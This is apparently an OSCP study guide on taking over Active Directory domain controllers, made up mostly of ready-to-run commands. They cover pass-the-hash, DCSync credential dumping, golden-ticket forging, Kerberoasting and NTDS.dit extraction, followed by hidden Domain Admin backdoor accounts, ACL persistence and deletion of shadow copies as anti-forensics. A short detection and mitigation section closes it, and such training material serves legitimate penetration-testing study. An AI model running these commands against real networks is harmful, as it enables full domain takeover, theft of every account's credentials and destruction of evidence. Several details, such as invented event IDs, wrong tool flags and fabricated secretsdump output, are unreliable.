Domain Controller Compromise
Table of Contents
- Why DC Compromise is the Ultimate Goal
- Methods to Compromise a DC
- Post-DC-Compromise Actions
- DC-Specific Services and Attack Surfaces
- RODC vs Writable DC
- Detection and Mitigation
1. Why DC Compromise is the Ultimate Goal
The Domain Controller: Crown Jewel of AD
The Domain Controller (DC) is the central authority in an Active Directory environment. Compromising a DC means:
- Complete domain control - Access to all user hashes, service accounts, and machine accounts
- Persistent access - Ability to create backdoor accounts, modify ACLs, and forge tickets
- Lateral movement freedom - Authenticate as any user to any resource
- Data access - Full access to all domain-stored data and configurations
What Makes the DC Special
┌─────────────────────────────────────────────────────────────┐
│ DOMAIN CONTROLLER │
│ │
│ Stores: │
│ ├── NTDS.dit → Full AD database (all hashes) │
│ ├── SAM → Local + Domain account hashes │
│ ├── SYSVOL → Group Policies, logon scripts │
│ ├── LSA Secrets → Machine account, Azure AD creds │
│ └── KRBTGT → Kerberos key distribution center │
│ │
│ Services: │
│ ├── Kerberos (88/TCP) → Authentication │
│ ├── LDAP (389/636) → Directory queries │
│ ├── SMB (445) → File/Print, DRS replication │
│ ├── RPC (135, dynamic) → Remote procedure calls │
│ └── DNS (53) → Name resolution │
│ │
│ Compromise = Domain Admin equivalent │
└─────────────────────────────────────────────────────────────┘
OSCP Context: DC = Root on Linux
In the OSCP exam, compromising the Domain Controller is equivalent to obtaining root on a Linux machine. It demonstrates:
- Complete understanding of the AD attack chain
- Ability to pivot from initial access to full domain control
- Mastery of credential harvesting and lateral movement
- Knowledge of AD-specific attack techniques
2. Methods to Compromise a DC
2.1 Direct Exploitation
Vulnerability-Based Attacks
# Common DC vulnerabilities to check:
# 1. EternalBlue (MS17-010) - Older Windows servers
nmap --script smb-vuln-ms17-010 <dc_ip>
# 2. Zerologon (CVE-2020-1472) - All DCs before patch
# Check DC OS version first
# 3. PrintNightmare (CVE-2021-34527)
nmap --script smb-vuln-cve2021-34527 <dc_ip>
# 4. SamAccountName duplication attacks
# 5. DNS zone transfer abuse
# 6. Unpatched services (IIS, SQL, etc.)
Service-Based Attacks
# Check for vulnerable services on DC
Get-Service | Where-Object { $_.Status -eq 'Running' }
# Common attack surfaces:
# - IIS (if web services hosted on DC)
# - SQL Server (if reporting services)
# - File shares with weak permissions
# - WMI with excessive permissions
# - WinRM (5985/5986)
2.2 Credential-Based Access
Pass-the-Hash to DC
# If you have an admin NTLM hash, try direct access
crackmapexec smb <dc_ip> -u <admin_user> -H <ntlm_hash>
# If successful, use psexec
psexec.py <domain>/<admin_user>@<dc_ip> -hashes <lm_hash>:<ntlm_hash>
# Or use WMI execution (more stealthy)
wmiexec.py <domain>/<admin_user>@<dc_ip> -hashes <lm_hash>:<ntlm_hash>
Pass-the-Ticket to DC
# If you have a Kerberos TGT for an admin
mimikatz # kerberos::ptt <ticket.kirbi>
# Then access the DC
dir \\dc.domain.local\C$
psexec.py <domain>/<admin_user>@<dc_ip>
RDP to DC
# If RDP is enabled and you have credentials
xfreerdp /v:<dc_ip> /u:<user> /p:<password> /d:<domain>
# With certificate pinning disabled
xfreerdp /v:<dc_ip> /u:<user> /p:<password> /d:<domain> /cert:ignore
# With drive redirection (for file transfer)
xfreerdp /v:<dc_ip> /u:<user> /p:<password> /d:<domain> /drive:tmp,/tmp
2.3 DCSync from Compromised Admin Account
Understanding DCSync
DCSync is a replication attack that mimics the behavior of a Domain Controller requesting directory synchronization. It allows extraction of password hashes without directly accessing the DC.
Requirements:
- Replicating Directory Changes Extended privilege
- Typically held by: Domain Admins, Enterprise Admins, Domain Controllers
Method 1: Mimikatz DCSync
# Basic DCSync - dump all accounts
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\krbtgt
# Dump specific user
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\Administrator
# Dump all accounts
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\*
# Invert mode (dump NT hash only)
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\krbtgt /inject
Method 2: Impacket secretsdump
# Dump all domain hashes
secretsdump.py <domain>/<admin_user>:<password>@<dc_ip>
# Output format:
# domain/user:id:lmhash:nthash:ppthash:password:
# Example:
# EXAMPLE/Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11967d0558e6ac0e13faf8484e:::
# Specific user only
secretsdump.py <domain>/<admin_user>:<password>@<dc_ip> -just-user <username>
# NTLM only (cleaner output)
secretsdump.py <domain>/<admin_user>:<password>@<dc_ip> -just-dc-ntlm
# With hash instead of password
secretsdump.py <domain>/<admin_user>@<dc_ip> -hashes <lm>:<ntlm>
Method 3: CrackMapExec DCSync
# DCSync via CrackMapExec
crackmapexec smb <dc_ip> -u <admin_user> -p <password> --dcsync
# With hash
crackmapexec smb <dc_ip> -u <admin_user> -H <ntlm_hash> --dcsync
# Output to file
crackmapexec smb <dc_ip> -u <admin_user> -p <password> --dcsync -o hashes.txt
DCSync Detection Indicators
| Event ID | Description |
|---|---|
| 4662 | Access to AD object (Replicating Directory Changes) |
| 4663 | Handle requested on directory partition |
| 5136 | Directory service object modified |
| 1520-1545 | Kerberos TGT requests with DCSync patterns |
2.4 Golden Ticket After KRBTGT Hash Extraction
Why KRBTGT Matters
The KRBTGT account is the Kerberos Key Distribution Center account. Its hash is used to sign all TGTs in the domain. If you have the KRBTGT hash, you can forge any TGT.
KRBTGT Hash → Golden Ticket → Any User → Any Resource → Full Domain Control
Step-by-Step Golden Ticket Attack
# Step 1: Extract KRBTGT hash via DCSync
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\krbtgt
# Output:
# [0000001f] User: krbtgt
# Domain Sid : S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
# NTLM : <krbtgt_ntlm_hash>
# Step 2: Get domain SID
# From the output above, or:
(Get-ADDomain).DomainSID.Value
# Step 3: Create golden ticket
mimikatz # kerberos::golden /user:$ /domain:<domain.local> /sid:S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx /krbtgt:<krbtgt_ntlm_hash> /id:500 /startoffset:0 /endin:604800 /renewmax:10080 /ptt
# Parameters:
# /user:$ - Invisible user (no name in logs)
# /domain - Full domain FQDN
# /sid - Domain SID
# /krbtgt - KRBTGT NTLM hash
# /id:500 - Administrator RID
# /startoffset:0 - Start now
# /endin:604800 - 1 year lifetime (minutes)
# /renewmax - Max renewal period
# /ptt - Inject into current session
# Step 4: Verify the ticket
klist
# Step 5: Access any resource
dir \\dc.domain.local\C$
Golden Ticket Variations
# Enterprise Admin (multi-domain)
mimikatz # kerberos::golden /user:admin /domain:<forest_root> /sid:<forest_sid> /sids:S-1-5-21-xxxx-xxxx-xxxx-519 /krbtgt:<hash> /id:500 /ptt
# S-1-5-21-xxxx-xxxx-xxxx-519 = Enterprise Admins group RID
# Multiple SIDs (for complex environments)
mimikatz # kerberos::golden /user:admin /domain:<domain> /sid:<sid> /sids:<additional_sid1>; <additional_sid2> /krbtgt:<hash> /ptt
2.5 Kerberoasting Service Accounts on DC
Understanding Kerberoasting
Kerberoasting targets service accounts that have SPNs (Service Principal Names) registered. The attack requests a service ticket (TGS) encrypted with the service account’s NTLM hash, which can be cracked offline.
# Step 1: Find service accounts with SPNs
# From Kali:
getUserSPNs.py <domain>/<user> -dc-ip <dc_ip>
# From Windows:
Set-Location AD:
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, Name
# Step 2: Request TGS tickets
# From Kali:
getUserSPNs.py <domain>/<user> -dc-ip <dc_ip> -request -outputfile tickets.kirbi
# From Windows (Rubeus):
Rubeus.exe kerberoast /format:asrep /outfile:hashes.txt
# Step 3: Crack the hashes
hashcat -m 13100 hashes.txt wordlist.txt
# Or for TGS-REP:
hashcat -m 19600 hashes.txt wordlist.txt
DC-Specific Service Accounts
# Common DC service accounts to target:
# - MSSQLSvc (if SQL on DC)
# - HTTP (if IIS on DC)
# - CIFS (file services)
# - HOST (RPC endpoint mapper)
# Check for SPNs on DC
Get-ADComputer <dc_name> -Properties ServicePrincipalName
3. Post-DC-Compromise Actions
3.1 Full Domain Hash Extraction
Using secretsdump.py
# Complete domain hash dump
secretsdump.py <domain>/<admin_user>:<password>@<dc_ip> -outputfile hashes
# This creates:
# hashes.ntds - NTDS.dit extracted hashes
# hashes.john - John the Ripper format
# hashes.kirbi - Kerberos tickets
# hashes.hashcat - Hashcat format
# Example output:
# [*] Target domain : EXAMPLE.LOCAL
# [*] Target : EXAMPLEDC.EXAMPLE.LOCAL
# [*] Binding to : ldap://EXAMPLEDC.EXAMPLE.LOCAL
# [*] Using DRSUAPI method to dump NTDS.DIT
# [*] Dumping Domain Users (DRSUAPI)
# [*] Evading containers with 1000 entries
# EXAMPLE/Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11967d0558e6ac0e13faf8484e:::
# EXAMPLE/jdoe:1003:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586b:::
Using Mimikatz DCSync
# Dump all accounts
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\*
# Save output to file
mimikatz # log hashes.log
mimikatz # lsadump::dcsync /domain:<domain.local> /user:<domain>\*
mimikatz # log
3.2 AD Database (NTDS.dit) Extraction
Understanding NTDS.dit
The NTDS.dit file is the Active Directory database containing:
- All user accounts and password hashes
- Group memberships
- Computer accounts
- Group Policy data
- Trust relationships
Method 1: Volume Shadow Copy
# Step 1: Create shadow copy
vssadmin create shadow /for=C:
# Step 2: Find the shadow copy path
vssadmin list shadows
# Step 3: Copy NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
# Step 4: Copy SYSTEM hive (needed for decryption)
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Step 5: Transfer to attack machine
# Step 6: Extract hashes
secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL
Method 2: ntdsutil
# Step 1: Start ntdsutil
ntdsutil
# Step 2: Activate instance
ntdsutil: activate instance ntds
# Step 3: File management
ntdsutil: file management
# Step 4: Create copy
ntdsutil: ifm
ifm: create full C:\temp\ifm
# This creates a full IFM (Install from Media) copy
Method 3: DiskShadow (Built-in Tool)
# Create a script for DiskShadow
# shadow.cmd
set context persistent nowriters
add volume C: alias myshadow
create
expose %myshadow% S:
# Execute
DiskShadow /s shadow.cmd
# Copy files
copy S:\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
copy S:\Windows\System32\config\SYSTEM C:\temp\SYSTEM
3.3 Volume Shadow Copy Manipulation
Creating Shadow Copies
# Using vssadmin
vssadmin create shadow /for=C:
# Using WMI
$obj = [WMICLASS]"Win32_ShadowCopy"
$obj.Create("C:\", "ClientAccessible")
# Using PowerShell module
Import-Module VSS
New-ShadowCopy -Volume C:
Listing and Accessing Shadow Copies
# List all shadow copies
vssadmin list shadows
Get-VolumeShadowCopy
# Access shadow copy
$shadows = Get-WmiObject Win32_ShadowCopy
foreach ($shadow in $shadows) {
Write-Host $shadow.DeviceObject
dir "$($shadow.DeviceObject)\Windows\NTDS\"
}
Deleting Shadow Copies (Anti-Forensics)
# Delete all shadow copies
vssadmin delete shadows /all /quiet
# Using WMI
Get-WmiObject Win32_ShadowCopy | ForEach-Object { $_.Delete() }
# Using cmd
wmic shadowcopy delete
3.4 Creating Backdoor Accounts
Domain Admin Backdoor
# Method 1: PowerShell (if AD module available)
New-ADUser -Name "svc_backup" -SamAccountName "svc_backup" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true -Path "CN=Users,DC=domain,DC=local"
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_backup"
# Method 2: net command
net user backdoor_user P@ssw0rd123! /add /domain
net group "Domain Admins" backdoor_user /add /domain
# Method 3: Mimikatz
mimikatz # lsadump::dcsync /domain:<domain> /user:<domain>\Administrator
# Then create user via PowerShell or net commands
Hidden Backdoor Techniques
# Dollar-sign account (hidden in some tools)
New-ADUser -Name "admin$" -SamAccountName "admin$" -AccountPassword (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -Enabled $true
Add-ADGroupMember -Identity "Domain Admins" -Members "admin$"
# Account with similar name to legit admin
New-ADUser -Name "Administrator1" -SamAccountName "Administrator1" ...
3.5 Modifying ACLs for Persistence
Understanding ACL Abuse
# Check current ACLs on domain object
Get-Acl "AD:<domain_distinguished_name>" | Format-List
# Grant DCSync rights to a user
# Requires: Domain Admin or Enterprise Admin
# Method 1: Using PowerView
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=local" -PrincipalIdentity <backdoor_user> -Rights DCSync
# Method 2: Using PowerShell AD module
$domain = Get-ADDomain
$domainDN = $domain.DistinguishedName
$acl = Get-Acl "AD:$domainDN"
$rule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
(Get-ADUser <backdoor_user>).Sid,
"ExtendedRight",
"Allow",
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2" # DS-Replication-Get-Changes
)
$acl.AddAccessRule($rule)
Set-Acl "AD:$domainDN" $acl
Critical ACL Modifications
| Right | GUID | Effect |
|---|---|---|
| DCSync | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | Replicate directory changes |
| WriteDACL | 00000000-0000-0000-0000-000000000000 | Modify ACLs |
| GenericAll | 00000000-0000-0000-0000-000000000000 | Full control |
| WriteOwner | 00000000-0000-0000-0000-000000000000 | Change ownership |
4. DC-Specific Services and Attack Surfaces
DC Service Matrix
| Service | Port | Protocol | Attack Surface |
|---|---|---|---|
| Kerberos | 88/TCP | Kerberos | TGT abuse, Kerberoasting |
| LDAP | 389/TCP | LDAP | ACL abuse, enumeration |
| LDAPS | 636/TCP | LDAP/S | Same as LDAP, encrypted |
| SMB | 445/TCP | SMB | DCSync, file access |
| RPC | 135/TCP | RPC | Remote procedure calls |
| DNS | 53/UDP,TCP | DNS | DNS poisoning, zone transfer |
| RDP | 3389/TCP | RDP | Remote desktop access |
| WinRM | 5985/5986 | HTTP/HTTPS | Remote management |
LDAP Attack Surface
# LDAP enumeration
ldapsearch -x -H ldap://<dc_ip> -b "DC=domain,DC=local"
# Unauthenticated LDAP bind
crackmapexec ldap <dc_ip> -u '' -p ''
# LDAP with credentials
crackmapexec ldap <dc_ip> -u <user> -p <password>
# Extract users via LDAP
ldapsearch -x -H ldap://<dc_ip> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
DNS Attack Surface
# Zone transfer attempt
dig axfr @<dc_ip> <domain.local>
# DNS enumeration
nslookup -type=ALL <domain.local> <dc_ip>
# Check for DNS admin privileges
dnscmd <dc_ip> /config /info
5. RODC vs Writable DC
Read-Only Domain Controller (RODC)
┌─────────────────────┐ ┌─────────────────────┐
│ RODC │ │ Writable DC │
│ │ │ │
│ - Read-only copy │◄───────► │ - Writable copy │
│ - Limited hash set │ Replic │ - Full hash set │
│ - No DCSync │ │ - DCSync available │
│ - Password replication│ │ - Password writeback│
│ policy applies │ │ │
└─────────────────────┘ └─────────────────────┘
Key Differences
| Feature | RODC | Writable DC |
|---|---|---|
| NTDS.dit | Read-only | Read-write |
| DCSync | Not available | Available |
| Password replication | Policy-controlled | Full |
| Hash storage | Limited (per policy) | All hashes |
| Attack value | Lower | Critical |
| Typical location | Branch offices | Data center |
Attacking an RODC
# Check if target is RODC
nltest /dsgetdc:<domain> /readonly
# RODC-specific considerations:
# 1. DCSync will fail
# 2. NTDS.dit extraction yields limited hashes
# 3. Focus on password replication policy
# 4. Target writable DC for full compromise
# Check password replication policy
Get-ADObject -Identity <rodc_dn> -Properties msDS-PasswordReplicationPolicy
6. Detection and Mitigation
Detection Indicators
DCSync Detection
| Event ID | Description | Detection Rule |
|---|---|---|
| 4662 | Access to AD object | Access Mask contains 0x100 (Replicating Directory Changes) |
| 4663 | Handle requested | Directory partition handle with replication access |
| 5136 | DS object modified | Unusual replication requests |
| 4672 | Special privileges | SeReplicatePrivilege enabled |
NTDS.dit Access Detection
| Event ID | Description |
|---|---|
| 4663 | File handle requested on NTDS.dit |
| 4660 | Object deleted (shadow copy manipulation) |
| 4690 | Handle to shadow copy requested |
| 4692 | Shadow copy operation |
Golden Ticket Detection
| Event ID | Description |
|---|---|
| 4769 | Kerberos TGT requested |
| 4771 | Kerberos preauth failed (if forging fails) |
| 4624 | Logon with suspicious ticket properties |
Mitigation Strategies
Technical Mitigations
| Mitigation | Description | Implementation |
|---|---|---|
| Admin SD Holder | Protects admin groups | Enabled by default |
| LAPS | Local Admin Password Solution | Deploy LAPS GPO |
| Privileged Access Workstations | Isolated admin access | Dedicated hardware |
| Tiered Administration | Admin tier model | Tier 0, 1, 2 model |
| MFA for Admins | Multi-factor authentication | Azure MFA, Duo |
| Constrained Delegation | Limit delegation scope | AD delegation settings |
| gMSA | Group Managed Service Accounts | Replace password-based SPNs |
Monitoring Recommendations
# Enable advanced audit policies
auditpol /set /subcategory:"Directory Service Access" /success:enable
auditpol /set /subcategory:"Directory Service Changes" /success:enable
auditpol /set /subcategory:"Logon" /success:enable /failure:enable
# Monitor specific accounts
# - KRBTGT account changes
# - Domain Admin group modifications
# - DCSync privilege usage
OSCP Tips for DC Compromise
- Always try DCSync first - It’s the cleanest method and doesn’t require direct DC access
- Save all hashes - Use
-outputfilewith secretsdump for organized output - Check for multiple DCs - Some labs have more than one
- KRBTGT hash is gold - If you get it, create a golden ticket for persistence
- Document the attack chain - Show how you got from initial access to DC
- Time management - Don’t spend hours on one DC; if stuck, try another approach
- Check RODC - If DCSync fails, the DC might be read-only
Mastering DC compromise is essential for OSCP success. Practice DCSync, golden tickets, and NTDS.dit extraction in your lab until they become second nature.